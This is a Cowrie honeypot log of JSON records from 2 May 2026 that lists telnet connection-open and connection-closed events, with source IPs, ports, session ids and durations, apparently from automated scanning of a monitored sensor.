{"eventid":"cowrie.session.closed","duration":30.928693056106567,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:48.034416Z","src_ip":"207.244.241.37","session":"6dfba3a7e84f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.64637565612793,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:48.643469Z","src_ip":"207.244.241.37","session":"7bd80b0e1530","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":45460,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1cdf0529e50","protocol":"telnet","message":"New connection: 207.244.241.37:45460 (159.203.135.109:23) [session: b1cdf0529e50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:48.858054Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":45598,"dst_ip":"159.203.135.109","dst_port":23,"session":"67c526daa7a9","protocol":"telnet","message":"New connection: 207.244.241.37:45598 (159.203.135.109:23) [session: 67c526daa7a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:48.966113Z"}
{"eventid":"cowrie.session.closed","duration":32.26141834259033,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:49.811127Z","src_ip":"216.10.244.42","session":"dd67dc33ac12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":45458,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a2d239187de","protocol":"telnet","message":"New connection: 207.244.241.37:45458 (159.203.135.109:23) [session: 4a2d239187de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:49.854551Z"}
{"eventid":"cowrie.session.closed","duration":30.26978373527527,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:50.118384Z","src_ip":"207.244.241.37","session":"22fca6d4a903","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.064934253692627,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:51.231940Z","src_ip":"207.244.241.37","session":"c9082c031c9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.431869745254517,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:51.664466Z","src_ip":"207.244.241.37","session":"a6dd2204d9d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.42873477935791,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:54.378424Z","src_ip":"216.10.244.42","session":"1576b86b42c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.5348641872406,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:54.991383Z","src_ip":"188.208.141.113","session":"14822ccad444","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.687052249908447,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:56.832645Z","src_ip":"207.244.241.37","session":"a4cf1ad41fa8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":58096,"dst_ip":"159.203.135.109","dst_port":23,"session":"3951c5cec9cc","protocol":"telnet","message":"New connection: 207.244.241.37:58096 (159.203.135.109:23) [session: 3951c5cec9cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:56.841691Z"}
{"eventid":"cowrie.session.closed","duration":30.636853218078613,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:57.207477Z","src_ip":"207.244.241.37","session":"0b49663fad74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.916908025741577,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:29:57.493351Z","src_ip":"216.10.244.42","session":"ab6738309b39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.39145016670227,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:00.126844Z","src_ip":"216.10.244.42","session":"810f9a1e6ade","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66353750228882,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:00.597384Z","src_ip":"207.244.241.37","session":"d1af522f997b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":38436,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a707c86e523","protocol":"telnet","message":"New connection: 207.244.241.37:38436 (159.203.135.109:23) [session: 6a707c86e523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:01.546035Z"}
{"eventid":"cowrie.session.closed","duration":30.789331197738647,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:02.202042Z","src_ip":"207.244.241.37","session":"be978b8da2db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.266180276870728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:02.208047Z","src_ip":"207.244.241.37","session":"71a1490e011c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.300978899002075,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:03.554699Z","src_ip":"216.10.244.42","session":"85c5ff0be89f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.007169246673584,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:05.482069Z","src_ip":"188.208.141.113","session":"051f61bce08b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47262,"dst_ip":"10.17.0.5","dst_port":23,"session":"4728743b63ff","protocol":"telnet","message":"New connection: 188.208.141.113:47262 (10.17.0.5:23) [session: 4728743b63ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:05.531873Z"}
{"eventid":"cowrie.session.closed","duration":31.073094129562378,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:05.539370Z","src_ip":"207.244.241.37","session":"014c97d9d15a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":52282,"dst_ip":"159.203.135.109","dst_port":23,"session":"613899836416","protocol":"telnet","message":"New connection: 216.10.244.42:52282 (159.203.135.109:23) [session: 613899836416]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:06.490936Z"}
{"eventid":"cowrie.session.closed","duration":39.34724044799805,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:10.718372Z","src_ip":"188.208.141.113","session":"4a9b52a2592f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55180,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b04fc24bf49","protocol":"telnet","message":"New connection: 188.208.141.113:55180 (10.17.0.5:23) [session: 5b04fc24bf49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:13.179495Z"}
{"eventid":"cowrie.session.closed","duration":44.35615587234497,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:14.763821Z","src_ip":"188.208.141.113","session":"2c995377f8cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":53118,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c61c2cfc201","protocol":"telnet","message":"New connection: 207.244.241.37:53118 (159.203.135.109:23) [session: 3c61c2cfc201]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:15.194131Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":58490,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7407c6bc22f","protocol":"telnet","message":"New connection: 207.244.241.37:58490 (159.203.135.109:23) [session: d7407c6bc22f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:15.648086Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":33278,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bec8c2c1fb7","protocol":"telnet","message":"New connection: 207.244.241.37:33278 (159.203.135.109:23) [session: 3bec8c2c1fb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:17.380715Z"}
{"eventid":"cowrie.session.closed","duration":31.867667198181152,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:17.541450Z","src_ip":"216.10.244.42","session":"ac96365d2e2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.236431121826172,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:17.896770Z","src_ip":"207.244.241.37","session":"e62d5faa0575","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":56014,"dst_ip":"10.17.0.5","dst_port":23,"session":"55f91f390e0e","protocol":"telnet","message":"New connection: 206.189.32.23:56014 (10.17.0.5:23) [session: 55f91f390e0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:18.038697Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":34590,"dst_ip":"159.203.135.109","dst_port":23,"session":"92b6350b9a07","protocol":"telnet","message":"New connection: 216.10.244.42:34590 (159.203.135.109:23) [session: 92b6350b9a07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:18.342808Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":57074,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba5a4a1fe049","protocol":"telnet","message":"New connection: 206.189.32.23:57074 (10.17.0.5:23) [session: ba5a4a1fe049]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:19.062113Z"}
{"eventid":"cowrie.session.closed","duration":48.84927010536194,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:19.080787Z","src_ip":"188.208.141.113","session":"092cd4728aa1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.34113645553589,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:19.199037Z","src_ip":"207.244.241.37","session":"b1cdf0529e50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80376148223877,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:19.769775Z","src_ip":"207.244.241.37","session":"67c526daa7a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.35049605369568,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:20.204962Z","src_ip":"207.244.241.37","session":"4a2d239187de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.3154513835907,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:26.377004Z","src_ip":"188.208.141.113","session":"0998cd0323fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":42944,"dst_ip":"159.203.135.109","dst_port":23,"session":"c21da291d706","protocol":"telnet","message":"New connection: 216.10.244.42:42944 (159.203.135.109:23) [session: c21da291d706]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:26.447104Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":56788,"dst_ip":"10.17.0.5","dst_port":23,"session":"526acecd1e7e","protocol":"telnet","message":"New connection: 188.208.141.113:56788 (10.17.0.5:23) [session: 526acecd1e7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:26.533035Z"}
{"eventid":"cowrie.session.closed","duration":30.393623113632202,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:27.235220Z","src_ip":"207.244.241.37","session":"3951c5cec9cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":56796,"dst_ip":"10.17.0.5","dst_port":23,"session":"42daaf0f67f4","protocol":"telnet","message":"New connection: 188.208.141.113:56796 (10.17.0.5:23) [session: 42daaf0f67f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:28.805900Z"}
{"eventid":"cowrie.session.closed","duration":45.18862271308899,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:29.436986Z","src_ip":"188.208.141.113","session":"49217cfff781","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.491448163986206,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:32.037353Z","src_ip":"207.244.241.37","session":"6a707c86e523","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":60184,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6ee1a9811b7","protocol":"telnet","message":"New connection: 207.244.241.37:60184 (159.203.135.109:23) [session: a6ee1a9811b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:33.476640Z"}
{"eventid":"cowrie.session.closed","duration":4.854413747787476,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:33.660221Z","src_ip":"188.208.141.113","session":"42daaf0f67f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":46350,"dst_ip":"10.17.0.5","dst_port":23,"session":"a610b0700e68","protocol":"telnet","message":"New connection: 188.208.141.113:46350 (10.17.0.5:23) [session: a610b0700e68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:35.587995Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":38958,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9b2e9c7ba7a","protocol":"telnet","message":"New connection: 207.244.241.37:38958 (159.203.135.109:23) [session: f9b2e9c7ba7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:37.254603Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":40114,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cf032f01964","protocol":"telnet","message":"New connection: 207.244.241.37:40114 (159.203.135.109:23) [session: 3cf032f01964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:37.938971Z"}
{"eventid":"cowrie.session.closed","duration":32.30723714828491,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:38.798000Z","src_ip":"216.10.244.42","session":"613899836416","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":55180,"dst_ip":"159.203.135.109","dst_port":23,"session":"b62d9603d759","protocol":"telnet","message":"New connection: 216.10.244.42:55180 (159.203.135.109:23) [session: b62d9603d759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:39.020502Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":42752,"dst_ip":"159.203.135.109","dst_port":23,"session":"2afa125202e6","protocol":"telnet","message":"New connection: 207.244.241.37:42752 (159.203.135.109:23) [session: 2afa125202e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:39.309403Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":40958,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbc86176850a","protocol":"telnet","message":"New connection: 207.244.241.37:40958 (159.203.135.109:23) [session: bbc86176850a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:39.372926Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":43072,"dst_ip":"159.203.135.109","dst_port":23,"session":"15c1a3fdad31","protocol":"telnet","message":"New connection: 207.244.241.37:43072 (159.203.135.109:23) [session: 15c1a3fdad31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:39.503801Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":43838,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d8efe0d6c3c","protocol":"telnet","message":"New connection: 207.244.241.37:43838 (159.203.135.109:23) [session: 5d8efe0d6c3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:39.956491Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":50772,"dst_ip":"159.203.135.109","dst_port":23,"session":"aeb4eef72973","protocol":"telnet","message":"New connection: 207.244.241.37:50772 (159.203.135.109:23) [session: aeb4eef72973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:44.153572Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":50904,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8854d583f15","protocol":"telnet","message":"New connection: 207.244.241.37:50904 (159.203.135.109:23) [session: d8854d583f15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:44.235081Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":51362,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5e1235f39a1","protocol":"telnet","message":"New connection: 207.244.241.37:51362 (159.203.135.109:23) [session: f5e1235f39a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:44.442939Z"}
{"eventid":"cowrie.session.closed","duration":30.431366682052612,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:46.079339Z","src_ip":"207.244.241.37","session":"d7407c6bc22f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.109508275985718,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:46.303503Z","src_ip":"207.244.241.37","session":"3c61c2cfc201","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78511881828308,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:48.165697Z","src_ip":"207.244.241.37","session":"3bec8c2c1fb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.404825925827026,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:49.747472Z","src_ip":"216.10.244.42","session":"92b6350b9a07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":35286,"dst_ip":"159.203.135.109","dst_port":23,"session":"b42509e4c019","protocol":"telnet","message":"New connection: 207.244.241.37:35286 (159.203.135.109:23) [session: b42509e4c019]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:51.978641Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":37990,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f166ec22f76","protocol":"telnet","message":"New connection: 207.244.241.37:37990 (159.203.135.109:23) [session: 7f166ec22f76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:53.874647Z"}
{"eventid":"cowrie.session.closed","duration":48.600600242614746,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:54.132309Z","src_ip":"188.208.141.113","session":"4728743b63ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.55432057380676,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:55.733703Z","src_ip":"188.208.141.113","session":"5b04fc24bf49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":41726,"dst_ip":"159.203.135.109","dst_port":23,"session":"1997e508ecc3","protocol":"telnet","message":"New connection: 207.244.241.37:41726 (159.203.135.109:23) [session: 1997e508ecc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:56.211347Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":45194,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6d759c6b79e","protocol":"telnet","message":"New connection: 207.244.241.37:45194 (159.203.135.109:23) [session: a6d759c6b79e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:58.237997Z"}
{"eventid":"cowrie.session.closed","duration":31.854410648345947,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:58.301417Z","src_ip":"216.10.244.42","session":"c21da291d706","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":47092,"dst_ip":"159.203.135.109","dst_port":23,"session":"489373298dd7","protocol":"telnet","message":"New connection: 207.244.241.37:47092 (159.203.135.109:23) [session: 489373298dd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:30:59.472199Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":52508,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d51599baf10","protocol":"telnet","message":"New connection: 207.244.241.37:52508 (159.203.135.109:23) [session: 9d51599baf10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:03.012929Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":51988,"dst_ip":"159.203.135.109","dst_port":23,"session":"a21d5d5d7408","protocol":"telnet","message":"New connection: 207.244.241.37:51988 (159.203.135.109:23) [session: a21d5d5d7408]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:03.688402Z"}
{"eventid":"cowrie.session.closed","duration":30.958227157592773,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:04.434775Z","src_ip":"207.244.241.37","session":"a6ee1a9811b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":55764,"dst_ip":"159.203.135.109","dst_port":23,"session":"11a012718ecc","protocol":"telnet","message":"New connection: 207.244.241.37:55764 (159.203.135.109:23) [session: 11a012718ecc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:05.140691Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":38260,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b86a77b7516","protocol":"telnet","message":"New connection: 162.219.178.250:38260 (10.17.0.5:23) [session: 8b86a77b7516]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:06.788776Z"}
{"eventid":"cowrie.session.closed","duration":30.907194137573242,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:08.161694Z","src_ip":"207.244.241.37","session":"f9b2e9c7ba7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.31936526298523,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:08.258231Z","src_ip":"207.244.241.37","session":"3cf032f01964","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":60654,"dst_ip":"159.203.135.109","dst_port":23,"session":"04db381a3ecb","protocol":"telnet","message":"New connection: 207.244.241.37:60654 (159.203.135.109:23) [session: 04db381a3ecb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:08.391215Z"}
{"eventid":"cowrie.session.closed","duration":49.94694471359253,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:31:09.008952Z","src_ip":"206.189.32.23","session":"ba5a4a1fe049","protocol":"telnet"}
